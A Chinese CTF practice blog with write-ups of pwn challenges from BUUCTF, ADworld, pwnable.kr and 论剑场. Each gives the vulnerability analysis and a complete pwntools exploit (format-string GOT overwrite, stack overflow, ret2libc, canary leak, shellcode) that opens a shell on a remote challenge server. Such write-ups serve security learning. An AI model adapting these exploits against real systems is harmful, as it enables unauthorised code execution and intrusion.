pwn的一些练习记录~
其它
pwn1
利用格式化字符串漏洞覆盖got表的典型例题。
漏洞函数:
如上图,可以无限的利用 printf(buf); 的格式化字符串漏洞,那就好很好办了。
首先测试出输入字符串的偏移量:7
然后泄露出一个libc中的函数地址,以便计算处libc的基地址:
1 2 3 4 5
| printf_got = elf.got[b'printf'] p = p32(printf_got)+b'%7$s' real_printf = u32(r(8)[4:]) libc = LibcSearcher('printf', real_printf) libc_addr = real_printf-libc.dump('printf')
|
接着计算处libc中system的地址,并以此覆盖循环中每次要执行的printf函数的got地址:
1 2
| system = libc_addr+libc.dump('system') p1 = fmtstr_payload(7, {printf_got: system})
|
这样覆盖后,以后每次read的内容都会被作为system的参数执行了,也就是可以执行命令了。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import * from LibcSearcher import *
''' ROPgadget --binary xxx | grep "" 0x0000000000400c83 : pop rdi ; ret 0x00000000004006b9 : ret
'''
r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x, y: log.info(x + ': '+'\x1b[01;38;5;214m' + hex(y) + '\x1b[0m') context(os = 'linux', log_level='debug') local_path = './pwn1' libc_path = 'x86_libc.so.6' addr = '' port = 0
def debug(arg): gdb.attach(io, arg) pause()
is_local = 1 if is_local != 0: io = process(local_path, close_fds=True) else: io = remote(addr, port) elf = ELF(local_path)
printf_got = elf.got[b'printf'] li('printf_got', printf_got) p = p32(printf_got)+b'%7$s' sla('input:', p) real_printf = u32(r(8)[4:]) libc = LibcSearcher('printf', real_printf) libc_addr = real_printf-libc.dump('printf') li('libc_addr', libc_addr) system = libc_addr+libc.dump('system') li('system', system) p1 = fmtstr_payload(7, {printf_got: system})
sl(p1)
ia()
|
Buu
[ZJCTF 2019]Login
运行程序,输入正确的用户名和密码后程序奔溃,定位到是执行这个函数指针引发的。
跟踪这个函数指针的来源:
继续跟踪返回函数指针的函数:
如上图,这个返回值的用法明显是有问题的,它返回了一个数组的首地址,而这个数组是这个函数中的局部变量,在函数执行完会进行堆栈清理,虽然数据内容不会立即清除掉,但调用下一个函数时会在相同的地方开辟堆栈,这就会将我们上一个函数返回的数组内容给覆盖掉。这也是本题存在漏洞的地方,我们在调用下个读取输入的函数的时候,将上一个执行函数赋值的函数指针给覆盖为程序中现有的后门函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * from LibcSearcher import *
''' ROPgadget --binary xxx | grep "" ''' r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m') context(os = 'linux', log_level='debug') local_path = './login' addr = 'node4.buuoj.cn' port = 25544
is_local = 0 if is_local != 0: io = process(local_path, close_fds=True) else: io = remote(addr, port) elf = ELF('./login')
shell = 0x400E88 p = b'2jctf_pa5sw0rd'.ljust(80-8, b"\x00")+p64(shell) sla('username: ', "admin") sla('password: ', p) ia()
|
攻防世界
guess_num
栈溢出
ida打开看一下。
可以知道这个随机数种子我们是不知道的,但是可以直接通过gets(v7),通过栈溢出把这个种子换成1,再用1计算出随机数。
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
p = remote('220.249.52.133', 46809)
payload = 0x20*'a' + p32(1) p.sendline(payload)
l = '2542625142' for i in l: p.recvuntil('input') p.sendline(i) p.interactive()
|
总结:对栈更加熟悉。
cgpwn2
栈溢出,控制程序走向
使用checksec看一保护,没有canary。
ida中看一下,gets()存在溢出,有system()函数,但是字符串不是我们想要的shell。和之前在论剑场做过的很像,只不过那个是64位,这个是32位,参数传递不同而已。
尝试使用 ROPgadget搜索$0,无果。但回到程序看到有一个全局变量让我们输入name,那就自己构造。
找到system的地址,写py脚本。
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
p = remote('220.249.52.133', 53127) s = '$0' p.recvuntil('name') p.sendline(s)
payload = (0x26+4)*'a' + p32(0x0804855A) + p32(0x0804A080)
p.recvuntil('here:') p.sendline(payload) p.interactive()
|
得到shell。
总结:上次是64位,这次体验了32位程序,传参不同。
int_overflow
栈溢出,整数溢出
没有开启canary,在ida中可以看到第一个login函数都不存在溢出。
但从搜索的字符串找到引用,有一个system(“cat flag”),所以还是考虑通过栈溢出控制程序走向。
果然在check_passwd(&buf)存在栈溢出,这里就是多了个整数溢出。
由于一个字节无符号的范围(0-255),那我们最小只要260就可以让v3==4即可。
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
p = remote('220.249.52.133', 54696) payload = (0x14+4)*'a' + p32(0x08048694) + (260-28)*'a'
p.recvuntil('choice:') p.sendline('1') p.recvuntil('username:') p.sendline('Bnop') p.recvuntil('passwd:') p.sendline(payload) p.interactive()
|
总结:对整数溢出有了了解。
string
格式化字符换漏洞,写入shellcode。但是有很多逻辑干扰,关键还是分析到强制转化为函数到执行,联系到执行自己的shellcode。
程序除了基址随机化保护关了,其他全开。
载入ida找漏洞,感觉有点复杂,一个小游戏,函数有点多。但是由于没有关键字符串与system()函数,这时候就可以往写shellcode方面想。果然在sub_400CA6((_DWORD *)a1);中找到了。
但要使整个函数执行,上面有个判断,*a1 == a1[1],寻找*a1的参数来源,可以知道使main()函数里的v4。
这时候看有没有地方可以让着2个数相等。还有2个关键函数仔细看的。
进入sub_400A7D(),直接输入east跳过就好了。
再看sub_400BB9(),正好这里有这个漏洞,且有提示信息。
下面用gdb调试看看v2的值在第几个参数位置。在printf()处下断点。
但是注意这是64位程序,先是使用6个寄存器传递参数(rdi, rsi, rdx, rcx, r8, r9),而这里rdi作为了格式化字符串的参数,那寄存器还有5个用来传递参数,那我们的改变地址的值就是第(5+2) = 7个参数了。
开始写脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import *
p = remote('220.249.52.133', 46461)
p.recvuntil('secret[0] is ') addr = int(p.recv(7), 16)
p.recvuntil('name be:') p.sendline('Bnop') p.recvuntil('east or up?:') p.sendline('east') p.recvuntil('leave(0)?:') p.sendline('1') p.recvuntil("address'") p.sendline(str(addr)) p.recvuntil('wish is:') p.sendline('%085d%7$n')
context(os='linux',arch='amd64') shellcode = asm(shellcraft.sh())
p.recvuntil('YOU SPELL') p.sendline(shellcode) p.interactive()
|
总结:1.shellcode的写法:一:通过shellcraft 一个生成shellcode的类。shellcraft.sh()获得执行system(“/bin/sh”)汇编代码所对应的机器码。二:通过反汇编的shellcode代码。2.对格式化字符串漏洞及64位传参加深了理解。3.分析长的题目。
level3
开始查保护后没注意到NX,在栈上几次没执行成功才回去看到。这个题实际还是栈溢出,但多考了很多知识点,对刚接触pwn收获还是很大。
首先查保护,只开了NX,没有canary,那就可以往靠溢出控制程序走向了的方向看题。
载入ida后,栈溢出很明显。
但利用起来,既没有有system函数,也没有’/bin/sh’。这对于刚接触pwn还是比较困难的,但本来就学习的过程,看了writeup又去学了下.plt与.got再来做的题。
其实程序带了一个运行库的,里面有动态链接库的函数及一些其他信息。既然程序里没有自然就利用这个运行库了,根据elf文件与pe文件类似,各个函数与数据的相对地址是不变的。利用这一点与我们在程序中是调用了write与read动态库函数的,随便选择一个得到他们的地址,再根据相对地址相加减就得到我们要的函数与数据(system()与‘/bin/sh’)的地址了。
首先计算在运行库里的的read函数与system函数的相对地址。
1 2 3 4 5
| from pwn import *
lib = ELF('./libc_32.so.6')
sys_cha = hex(lib.symbols['system']-lib.symbols['read'])
|
计算运行库中read函数与 ‘/bin/sh’的相对地址。先找到 ’/bin/sh’的地址。
1
| ROPgadget --binary libc_32.so.6 --string '/bin/sh'
|
1 2 3 4
| from pwn import * lib = ELF('./libc_32.so.6')
bin_cha = hex(0x0015902b-lib.symbols['read'])
|
有 a-b=c,现在我们有了c,只需通过程序溢出就可以找到b, 最后通 a = b+c得到我们要的地址。
1 2 3 4 5 6 7 8 9
| from pwn import *
p = remote('220.249.52.133', 54407) elf = ELF('./level3')
payload = (0x88+4)*'a'+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['read'])+p32(8) p.recvuntil('Input:\n') p.sendline(payload) read_addr = u32(p.recv()[:4])
|
将各部分结合起来,脚本攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import *
p = remote('220.249.52.133', 54407) elf = ELF('./level3') lib = ELF('./libc_32.so.6')
payload = (0x88+4)*'a'+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['read'])+p32(8)
p.recvuntil('Input:\n') p.sendline(payload) read_addr = u32(p.recv()[:4])
bin_cha = int(0x0015902b-lib.symbols['read']) bin_addr = read_addr + bin_cha
sys_cha = int(lib.symbols['system']-lib.symbols['read']) sys_addr = read_addr + sys_cha
p.recvuntil('Input:\n') payload1 = (0x88+4)*'a'+p32(sys_addr)+p32(1)+p32(bin_addr) p.sendline(payload1) p.interactive()
|
总结:1.u32()相当于p32()的逆运算。2.ELF的各种使用。3.对.plt与.got的学习。4. 从运行库寻找所要函数与数据。5.这道题对于刚接触pwn的来做,可做性很高。
dice_game
上之前做的 guess_game 一个道理。通过栈溢出,改变程序特定的值。
查保护没有 canary,这也算是引导了,因为是做题。
ida中看一下。就是随机数种子精确到了秒,所以直接通过栈溢出改变种子的值。
写脚本攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * from ctypes import * context.log_level = 'debug' libc = cdll.LoadLibrary('libc.so.6')
p = remote('220.249.52.133', 43642)
payload = (0x50-0x10)*'a' + p64(10) p.recvuntil('name: ') p.sendline(payload)
libc.srand(10)
for i in range(50): p.recvuntil('point(1~6): ') p.sendline(str(libc.rand()%6+1)) p.interactive()
|
总结:1.虽然没有接触新知识,但是学了加载libc.so.6库使用其的函数。
stack2
由于数组没有控制界限,还是栈溢出。这个题由于出题人在题中直接给出了bin/bash,而环境中只有sh,但只要ROP一下,自己通过bin/bash构造sh给system做参数即可。
查保护,除了基地址随机化其他全开。感觉会有点麻烦,难度要绕过canary?ida中看一下。
正好看到字符串中有现成的system函数及shell,所以通过上面的数组溢出将函数的返回地址改为system处的地址就得到shell了。
开始计算数组的地址到函数返回地址处在栈中的偏移,由于ida中静态看到的栈分布可能不准,通过gdb动调看一下。找到第一次给数组赋值的地址及最后ret指令地址下断。
可以看到上面2次的地址分别为0xffffd01c 0xffffcf98 2者之差为0x84,即我们要的偏移。
开始写脚本攻击,但是并没有得到shell。。。找了一会儿错误,没发现。看了其他人的writeup说由于出题人原因,环境中并没有bash,可以通过已有的 /bin/bash得到sh字符串,作为system()参数才行。
也很容易,直接找到字符串地址,利用数组越界多改变栈中的一个数据为sh作为system()的参数即可。exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * context.log_level = 'debug'
p = remote('220.249.52.133', 58409) p.recv() p.sendline('1') p.recv() p.sendline('3')
offset = 132 system_addr = [0xb4, 0x85, 0x04, 0x08] sh_addr = [0x87, 0x89, 0x04, 0x08]
def write_(offset, val): p.recv() p.sendline('3') p.recv() p.sendline(str(offset)) p.recv() p.sendline(str(val))
for i in range(4): write_(offset+i, system_addr[i])
for i in range(4): write_(offset+4+i, sh_addr[i])
p.recv() p.sendline('5') p.interactive()
|
最后关于这个题的栈从ida中静态看到栈与实际动调不同的原因,看开头与结尾的汇编代码可以知道答案。
总结:1.从这个题发现数组越界就可以绕过canary,但也是题故意设计的而已。2.静态看到的栈分布于实际运行的可能会不同,这道题就是。
forot
栈溢出,多了会对输入字符进行判断多构造下。但是当对整个main函数运行完后在ret处控制其走向始终不成功。。。gdb调试栈的偏移反复确定了的,比在ida中静态看到的大4,但这多出来的4就很迷。。。最后觉得是程序在出栈时有一个值还原,有点canary的意思,但是程序没有开canary保护啊。搞了很久还是没弄清原因,后面知识积累多了再来看看怎么回事。。。
只开了NX保护,ida中看下。
再看看栈的情况。找到v3与v2数组的地址。
再看到程序中直接有system函数及字符串。
所以接下来要做的就是改变函数指针并控制v14的值,构造其执行我们的system()函数。
写脚本攻击。这里方法也很多吧,只要构造配合好就可以。
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * context.log_level = 'debug'
p = remote('220.249.52.133', 39422)
payload = 0x20*'A'+p32(0x080486D2)
p.recvuntil('> ') p.sendline('Bxnop') p.recvuntil('> ') p.sendline(payload)
p.interactive()
|
总结:1.还是栈溢出,但不是通过改变函数的返回地址,见识更多了吧。2.\x09与\xa是坏字符,当读到这2个字符的时候会截断。
Mary_Morton
通过格式化字符串漏洞找到canary后栈溢出控制程序走向。但是。。。。。。。因为开始使用的recvuntil(‘’)没有注意‘\n’导致后面直接使用recv()开始只能接收到’\n’,花了好多时间卡在这里。。。。。。。。。。算教训了。
除了PIE其他保护全开。运行看一下,让选择是栈溢出还是格式化字符串漏洞。 ida中看看。
虽然是第一次遇到,但也是很容易想到,格式化字符串漏洞是让我们泄露canary用的,知道的canary就可以快乐的栈溢出了。
那剩下的就都是常规操作了,脚本攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context.log_level = 'debug'
p = remote('220.249.52.133', 53667)
p.recvuntil('3. Exit the battle ') p.sendline('2') p.sendline('%23$p') canary = int(p.recv(), 16)
payload = 0x88*'a' + p64(canary) + 8*'a' + p64(0x00000000004008DA)
p.recvuntil('3. Exit the battle ') p.sendline('1') p.sendline(payload) p.interactive()
|
问题来了。。。无论怎么改canary = int(p.recv(), 16)接受屏幕打印出的字符这句话都报错。。。2个多小时耗在这里。。。后面就试了试先p.recvuntil(‘0x’),成功了。。。但自己还是很郁闷。。。又继续找原因,最后才发现p.recvuntil(‘3. Exit the battle ‘)中少了 \n,导致后面直接recv()接受到的都是回车,还是recvuntil()保障。。。
加上后再攻击,成功。。。
总结:1.还是多用recvuntil吧,保障些。2.注意使用recvuntil时中的字符串是否包含到最后。3.RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。
warmup
ADworld没有给题目附件,最后看了看别人发的ida伪代码,就只是简单的栈溢出控制程序走向。
题目开头就给了一个地址,后面又是明显的栈溢出,猜也可猜到是将函数返回地址覆盖为给出的地址。
脚本攻击。
1 2 3 4 5 6 7 8
| from pwn import *
p = remote('220.249.52.133', 37196)
payload = (0x40+8)*'a' + p64(0x40060d) p.recvuntil('>') p.sendline(payload) p.interactive()
|
pwnable
fd
题目描述。
通过ssh连接后,有3个文件,flag没有权限查看,那就看 fd.c
由于read函数的第一个参数,0:标准输入;1:标准输出;2:标准错误输出。那这里只要样fd等于0就好了。
直接让输入第一个参数为 4,660(0x1234),接着再输入 LETMEWIN 得到flag。
bof
学习了栈溢出后做这个题正合适
得到题目的elf文件后ida打开。
再利用ida中很好的栈显示,计算得到需要填充大小 0x34 。
写py脚本,攻击。
1 2 3 4 5 6 7 8
| from pwn import *
p = remote('pwnable.kr', 9000)
message = 0x34*'a' + p32(0xCAFEBABE)
p.sendline(message) p.interactive()
|
collision
题目描述。
ssh连接后发现就是让我们输入20个字节的数据,然后转化为5个4字节数据的值相加为0x21DD09EC。
那就直接凑了,开始直接想的是输入16个0加一个原数据,但字符串计算长度时就会过不了。那凑得方法也很多,只是怎样将不可打印字符输入终端,知道可以使用python的单行执行脚本呢 -c。
另外其实一直想用脚本直接实现,但是不知道怎么用,网上果然有,学习了。
1 2 3 4 5 6 7 8 9
| from pwn import *
s = p32(0x6c5cec9)*4 + p32(0x6c5cec8)
p = ssh(host='pwnable.kr', port=2222, user='col', password='guest') p.connected()
p1 = p.process(argv=['col', s], executable='./col') print p1.recv()
|
总结:1.利用python单行脚本输入不打印字符数据。2.利用脚本对ssh连接并交互的方法。3.哈希碰撞的概念。
flag
查看保护的时候发现了upx壳,脱壳后载入ida即可发现flag。
总结:无。
passcode
利用scanf()函数中没加取址符&存在的漏洞,覆写got表来达到控制程序走向的目的。
题目描述。
连接后查看passcode.c文件,可以看到scanf()是没有加取地址符的,想通过输入达到目的肯定会报错。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| #include <stdio.h> #include <stdlib.h>
void login(){ int passcode1; int passcode2;
printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin);
printf("enter passcode2 : "); scanf("%d", passcode2);
printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } }
void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); }
int main(){ printf("Toddler's Secure Login System 1.0 beta.\n");
welcome(); login();
printf("Now I can safely trust you that you have credential :)\n"); return 0; }
|
再看到welcome()函数,scanf(“%100s”, name)对输入字符串长度进行了限制,想通过溢出是不行了。
既然程序出了问题是没加取址符,那突破口肯定就在哪里。又是我第一次遇到的漏洞类型,由于scanf(“%d”, passcode1)中passcode1没加取地址符,将会把passcode1本身的值作为地址然后向其写入数据。并且这个passcode1没有初始化,所以它的默认的值将是上次栈中留下来的值,我们就可以控制上次向栈中写的数据,使scanf()中的地址是我们向输入数据的地址。
知识点:在welcome()函数结束后,虽然它会push esp, ebp;pop ebp;ret进行一个堆栈平衡,但是只是改变了esp寄存器的值,栈中的内容没有进行清理,如果下次使用同一个栈定义了变量但没有赋初值,那它的初始值将是上次栈中的。
由于got表是可以重写的,它记录着我们要执行函数的地址,那我们就可以将下次要执行的函数地址改成我们想要它执行的函数地址。通过objdump -R passcode查看got表。可以看到我们要改写函数在got表中地址为 0x0804a004
找我们想要执行的函数的地址。使用objdump -d passcode查看反汇编。找到我们想要执行函数地址:0x080485e3
地址找到后,寻找第一次welcome()函数中输入的字符串的哪一部分会是后面login()函数的第一个变量的值。其实很简单,2个函数是同一个ebp,第一个函数输入的最后4个字节数据将是第二个函数第一个变量的4个字节数据。(解释起来有点抽象,理解了就很简单)
最后构造字符串,攻击。由于登录到远程终端里没有执行和写脚本的权限,直接使用python与管道命令。
1
| python -c "print 'a'*96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode
|
总结:1.2个命令的学习 objdump -R 文件名(查看got表) 与 objdump -d 文件名(查看反汇编)。2.覆写got的攻击。
论剑场
pwn4
利用栈溢出控制程序的走向
首先使用file与checksec查看一下,64为elf文件,且没有开任何保护,那没有canary,就可以利用栈溢出控制程序走向了。
ida中看一下,明显存在溢出。
继续看一下字符串,找到引用的地方发现了system命令,但不是打开shell之类的字符串。
由于刚接触,很多东西都不知道,看了writeup,长知识了。由于题中有 $0 字符,而这就是 shell本身的名称,可以用它当作传入的system()函数的参数使用。
一个知识点:system()
会调用fork()
产生子进程,由子进程来调用/bin/bash -c string
来执行参数string
字符串所代表的命令,此命令执行完后随即返回原调用的进程。
64位程序传参的特点:使用寄存器传参,分别用rdi
、rsi
、rdx
、rcx
、r8
、r9
来传递参数(参数个数小于7的时候)。
所以这里要先让程序的走向到 pop edi;ret
, 让第一个传参寄存器得到 $0的地址,那后面再通过ret 使system()的地址弹出给 eip,得到shell。
开始工作。
写利用:
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
p = remote('114.116.54.89', 10004)
edi = 0x00000000004007d3 bash = 0x000000000060111f sys = 0x000000000040075A
payload = (0x10+8)*'a' + p64(edi) + p64(bash) + p64(sys)
p.sendline(payload) p.interactive()
|
得到shell。
总结:1.在没有‘bin\bash’字符串时看看’$0‘。2.64位程序的传参方式,寄存器顺序。3.ROPgadget工具的使用。